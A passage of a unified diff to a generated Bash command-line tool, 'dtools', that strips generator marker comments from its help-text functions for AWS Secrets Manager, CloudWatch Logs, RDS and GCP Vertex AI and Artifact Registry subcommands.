%s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "PARAMETER_NAME")" printf " The name of the parameter to delete\n" echo @@ -1203,7 +1042,6 @@ dtools_aws_ssm_delete_parameter_usage() { fi } -# :command.usage dtools_aws_secretsmanager_usage() { printf "dtools aws secretsmanager - Secrets Manager commands\n\n" @@ -1211,19 +1049,17 @@ dtools_aws_secretsmanager_usage() { printf " dtools aws secretsmanager COMMAND\n" printf " dtools aws secretsmanager [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s List all AWS Secrets Manager secrets\n" "$(green "list-secrets") " printf " %s Show the secret value for the specified secret\n" "$(green "show-secret") " printf " %s Create a new secret in Secrets Manager\n" "$(green "create-secret")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1231,7 +1067,6 @@ dtools_aws_secretsmanager_usage() { fi } -# :command.usage dtools_aws_secretsmanager_list_secrets_usage() { printf "dtools aws secretsmanager list-secrets - List all AWS Secrets Manager secrets\n\n" @@ -1240,30 +1075,24 @@ dtools_aws_secretsmanager_list_secrets_usage() { printf " dtools aws secretsmanager list-secrets --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--detailed")" printf " Output the list of all secrets in the detailed format\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1271,7 +1100,6 @@ dtools_aws_secretsmanager_list_secrets_usage() { fi } -# :command.usage dtools_aws_secretsmanager_show_secret_usage() { printf "dtools aws secretsmanager show-secret - Show the secret value for the specified secret\n\n" @@ -1280,38 +1108,30 @@ dtools_aws_secretsmanager_show_secret_usage() { printf " dtools aws secretsmanager show-secret --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--detailed")" printf " Output the secret value in detailed format\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "SECRET_ID")" printf " The secret ID for which the value needs to be displayed\n" echo @@ -1319,7 +1139,6 @@ dtools_aws_secretsmanager_show_secret_usage() { fi } -# :command.usage dtools_aws_secretsmanager_create_secret_usage() { printf "dtools aws secretsmanager create-secret - Create a new secret in Secrets Manager\n\n" @@ -1328,35 +1147,28 @@ dtools_aws_secretsmanager_create_secret_usage() { printf " dtools aws secretsmanager create-secret --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--name NAME (required)")" printf " Name for the new secret\n" echo - # :flag.usage printf " %s\n" "$(magenta "--secret-string SECRET_STRING (required)")" printf " The secret string to be stored\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1364,7 +1176,6 @@ dtools_aws_secretsmanager_create_secret_usage() { fi } -# :command.usage dtools_aws_logs_usage() { printf "dtools aws logs - AWS Logs commands\n\n" @@ -1372,19 +1183,17 @@ dtools_aws_logs_usage() { printf " dtools aws logs COMMAND\n" printf " dtools aws logs [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s List all of the log groups in CloudWatch\n" "$(green "list-log-groups") " printf " %s Tails the specified CloudWatch log group\n" "$(green "tail-log-group") " printf " %s Query one or more log groups with the given query string\n" "$(green "query-log-groups")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1392,7 +1201,6 @@ dtools_aws_logs_usage() { fi } -# :command.usage dtools_aws_logs_list_log_groups_usage() { printf "dtools aws logs list-log-groups - List all of the log groups in CloudWatch\n\n" @@ -1401,30 +1209,24 @@ dtools_aws_logs_list_log_groups_usage() { printf " dtools aws logs list-log-groups --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--detailed")" printf " Output the list of all CloudWatch log groups in the full detailed format\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1432,7 +1234,6 @@ dtools_aws_logs_list_log_groups_usage() { fi } -# :command.usage dtools_aws_logs_tail_log_group_usage() { printf "dtools aws logs tail-log-group - Tails the specified CloudWatch log group\n\n" @@ -1441,54 +1242,43 @@ dtools_aws_logs_tail_log_group_usage() { printf " dtools aws logs tail-log-group --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--since, -s SINCE")" printf " The time to start tailing the log group from\n" printf " %s\n" "Default: 10m" echo - # :flag.usage printf " %s\n" "$(magenta "--verbose, -v")" printf " Show verbose log output\n" echo - # :flag.usage printf " %s\n" "$(magenta "--stdout")" printf " Show the log output in stdout\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "LOG-GROUP")" printf " The name of the log group to tail\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools aws tail-log-group /aws/lambda/test-lambda-1\n" echo @@ -1496,7 +1286,6 @@ dtools_aws_logs_tail_log_group_usage() { fi } -# :command.usage dtools_aws_logs_query_log_groups_usage() { printf "dtools aws logs query-log-groups - Query one or more log groups with the given query string\n\n" @@ -1505,54 +1294,43 @@ dtools_aws_logs_query_log_groups_usage() { printf " dtools aws logs query-log-groups --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--log-group-name, -l LOG_GROUP_NAME (required) (repeatable)")" printf " The names of a log group to query for\n" echo - # :flag.usage printf " %s\n" "$(magenta "--start-time START_TIME (required)")" printf " The start time for the query (ISO 8601)\n" echo - # :flag.usage printf " %s\n" "$(magenta "--end-time END_TIME (required)")" printf " The end time for the query (ISO 8601)\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "QUERY")" printf " The query string to query the log groups for\n" printf " %s\n" "Default: fields @timestamp, @message | sort @timestamp desc" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools aws logs query-log-groups 'correlationId' --start-time\n '2025-03-18T15:00:00Z' --end-time '2025-03-18T16:00:00Z' --log-group-name\n caerus-api-log-group -l\n /aws/lambda/revisit-prod-revisit-core-historical-schedules-s3-writer-lambda\n" echo @@ -1560,7 +1338,6 @@ dtools_aws_logs_query_log_groups_usage() { fi } -# :command.usage dtools_aws_rds_usage() { printf "dtools aws rds - RDS commands\n\n" @@ -1568,18 +1345,16 @@ dtools_aws_rds_usage() { printf " dtools aws rds COMMAND\n" printf " dtools aws rds [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s List all RDS DB instances for the given account by their name\n" "$(green "list-db-instances") " printf " %s Fetch the connection details for the given RDS DB instance\n" "$(green "fetch-db-connection-details")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1587,7 +1362,6 @@ dtools_aws_rds_usage() { fi } -# :command.usage dtools_aws_rds_list_db_instances_usage() { printf "dtools aws rds list-db-instances - List all RDS DB instances for the given account by their name\n\n" @@ -1596,25 +1370,20 @@ dtools_aws_rds_list_db_instances_usage() { printf " dtools aws rds list-db-instances --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1622,7 +1391,6 @@ dtools_aws_rds_list_db_instances_usage() { fi } -# :command.usage dtools_aws_rds_fetch_db_connection_details_usage() { printf "dtools aws rds fetch-db-connection-details - Fetch the connection details for the given RDS DB instance\n\n" @@ -1631,33 +1399,26 @@ dtools_aws_rds_fetch_db_connection_details_usage() { printf " dtools aws rds fetch-db-connection-details --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "DB_INSTANCE")" printf " The RDS DB instance name\n" echo @@ -1665,7 +1426,6 @@ dtools_aws_rds_fetch_db_connection_details_usage() { fi } -# :command.usage dtools_gcp_usage() { printf "dtools gcp - GCP commands\n\n" @@ -1673,7 +1433,7 @@ dtools_gcp_usage() { printf " dtools gcp COMMAND\n" printf " dtools gcp [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Log in to GCP using SSO.\n" "$(green "login") " printf " %s Change GCP project\n" "$(green "project") " @@ -1693,12 +1453,10 @@ dtools_gcp_usage() { printf " %s List all images contained with the specified artifact registry repository\n" "$(green "artifacts list-images") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1706,7 +1464,6 @@ dtools_gcp_usage() { fi } -# :command.usage dtools_gcp_login_usage() { if [[ -n $long_usage ]]; then printf "dtools gcp login\n\n" @@ -1720,30 +1477,24 @@ dtools_gcp_login_usage() { printf " dtools gcp login --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools gcp login -p lab -r us-central1\n" printf " dtools gcp login --project prod --location africa-south1\n" @@ -1753,7 +1504,6 @@ dtools_gcp_login_usage() { fi } -# :command.usage dtools_gcp_project_usage() { printf "dtools gcp project - Change GCP project\n\n" @@ -1762,25 +1512,20 @@ dtools_gcp_project_usage() { printf " dtools gcp project --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "PROJECT")" printf " The GCP project to use\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools gcp project lab\n" echo @@ -1788,7 +1533,6 @@ dtools_gcp_project_usage() { fi } -# :command.usage dtools_gcp_location_usage() { printf "dtools gcp location - Change GCP location\n\n" @@ -1797,26 +1541,21 @@ dtools_gcp_location_usage() { printf " dtools gcp location --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools gcp location us-central1\n" echo @@ -1824,7 +1563,6 @@ dtools_gcp_location_usage() { fi } -# :command.usage dtools_gcp_get_project_number_usage() { printf "dtools gcp get-project-number - Get the GCP project number of the specified project\n\n" @@ -1833,20 +1571,16 @@ dtools_gcp_get_project_number_usage() { printf " dtools gcp get-project-number --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "PROJECT_NAME")" printf " The name of the project whose number you wish to fetch\n" echo @@ -1854,7 +1588,6 @@ dtools_gcp_get_project_number_usage() { fi } -# :command.usage dtools_gcp_vertex_usage() { printf "dtools gcp vertex - Vertex AI commands\n\n" @@ -1862,7 +1595,7 @@ dtools_gcp_vertex_usage() { printf " dtools gcp vertex COMMAND\n" printf " dtools gcp vertex [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Deploy a model into Vertex AI (assumes only one model is deployed on the given endpoint).\n" "$(green "deploy-model") " printf " %s Query a Vertex endpoint with a prediction request\n" "$(green "predict") " @@ -1870,12 +1603,10 @@ dtools_gcp_vertex_usage() { printf " %s Tail the logs for the given endpoint\n" "$(green "tail-endpoint-logs")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1883,7 +1614,6 @@ dtools_gcp_vertex_usage() { fi } -# :command.usage dtools_gcp_vertex_deploy_model_usage() { if [[ -n $long_usage ]]; then printf "dtools gcp vertex deploy-model\n\n" @@ -1897,79 +1627,64 @@ dtools_gcp_vertex_deploy_model_usage() { printf " dtools gcp vertex deploy-model --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo - # :flag.usage printf " %s\n" "$(magenta "--display-name, -d DISPLAY_NAME (required)")" printf " Display name of the model.\n" echo - # :flag.usage printf " %s\n" "$(magenta "--container-image, -c CONTAINER_IMAGE (required)")" printf " URI of the Model serving container file in the Container Registry (e.g.\n repository/image:latest).\n \n You can list repositories with: dtools gcp artifacts list-repositories\n You can list images with: dtools gcp artifacts list-images \n" echo - # :flag.usage printf " %s\n" "$(magenta "--container-port CONTAINER_PORT")" printf " Container port to receive HTTP requests at\n" printf " %s\n" "Default: 8080" echo - # :flag.usage printf " %s\n" "$(magenta "--health-route HEALTH_ROUTE")" printf " HTTP path to send health checks to inside the container\n" printf " %s\n" "Default: /isalive" echo - # :flag.usage printf " %s\n" "$(magenta "--predict-route PREDICT_ROUTE")" printf " HTTP path to send prediction requests to inside the container\n" printf " %s\n" "Default: /predict" echo - # :flag.usage printf " %s\n" "$(magenta "--model-gcs-uri MODEL_GCS_URI")" printf " Path to the directory containing the Model artifact and any of its\n supporting files.\n \n If undefined, ensure the model image that is being deployed contains the\n model JSON within the image.\n \n Use 'gcloud storage ls gs://' to find the URI of the model artifact\n you wish to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--endpoint-name, -e ENDPOINT_NAME (required)")" printf " The name of the endpoint to deploy the model to (will create one if it does\n not already exist)\n" echo - # :flag.usage printf " %s\n" "$(magenta "--machine-type, -m MACHINE_TYPE")" printf " The machine type to use for the deployed model (e.g. n1-standard-4)\n" printf " %s\n" "Default: n1-standard-2" echo - # :flag.usage printf " %s\n" "$(magenta "--accelerator ACCELERATOR")" printf " The type of accelerator to attach to the machine\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools gcp vertex deploy-model --display-name alex-vertex-test\n --container-image serving-docker/alex-vertex-test:latest -e\n alex-vertex-test-endpoint\n" printf " dtools gcp vertex deploy-model --display-name alex-test --container-image\n serving-docker/alex-test:latest -e alex-test-endpoint --accelerator\n nvidia-tesla-t4\n" @@ -1979,7 +1694,6 @@ dtools_gcp_vertex_deploy_model_usage() { fi } -# :command.usage dtools_gcp_vertex_predict_usage() { printf "dtools gcp vertex predict - Query a Vertex endpoint with a prediction request\n\n" @@ -1988,30 +1702,24 @@ dtools_gcp_vertex_predict_usage() { printf " dtools gcp vertex predict --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo - # :flag.usage printf " %s\n" "$(magenta "--file, -f FILE")" printf " The JSON file to query the model with\n" echo - # :flag.usage printf " %s\n" "$(magenta "--endpoint-name, -e ENDPOINT_NAME")" printf " The name of the endpoint to query\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2019,7 +1727,6 @@ dtools_gcp_vertex_predict_usage() { fi } -# :command.usage dtools_gcp_vertex_list_endpoints_usage() { printf "dtools gcp vertex list-endpoints - List all Vertex endpoints for the specified project and region\n\n" @@ -2028,30 +1735,24 @@ dtools_gcp_vertex_list_endpoints_usage() { printf " dtools gcp vertex list-endpoints --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo - # :flag.usage printf " %s\n" "$(magenta "--detailed")" printf " Output the gcloud query with full details in JSON format\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -2059,7 +1760,6 @@ dtools_gcp_vertex_list_endpoints_usage() { fi } -# :command.usage dtools_gcp_vertex_tail_endpoint_logs_usage() { printf "dtools gcp vertex tail-endpoint-logs - Tail the logs for the given endpoint\n\n" @@ -2068,33 +1768,26 @@ dtools_gcp_vertex_tail_endpoint_logs_usage() { printf " dtools gcp vertex tail-endpoint-logs --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--project, -p PROJECT")" printf " The GCP project to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--location, -l LOCATION")" printf " The GCP location to use\n" printf " %s\n" "Allowed: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" printf " %s\n" "Default: us-central1" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "ENDPOINT_NAME")" printf " The name of the endpoint whose logs you wish to tail\n" echo @@ -2102,7 +1795,6 @@ dtools_gcp_vertex_tail_endpoint_logs_usage() { fi } -# :command.usage dtools_gcp_artifacts_usage() { printf "dtools gcp artifacts - GCP Artifact Registry commands\n\n" @@ -2110,18 +1802,16 @@ dtools_gcp_artifacts_usage() { printf " dtools gcp artifacts COMMAND\n" printf " dtools gcp artifacts [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s List all repositories in artifact registry for the specified project and location\n" "$(green "list-repositories")" printf " %s List all images contained with the specified artifact registry 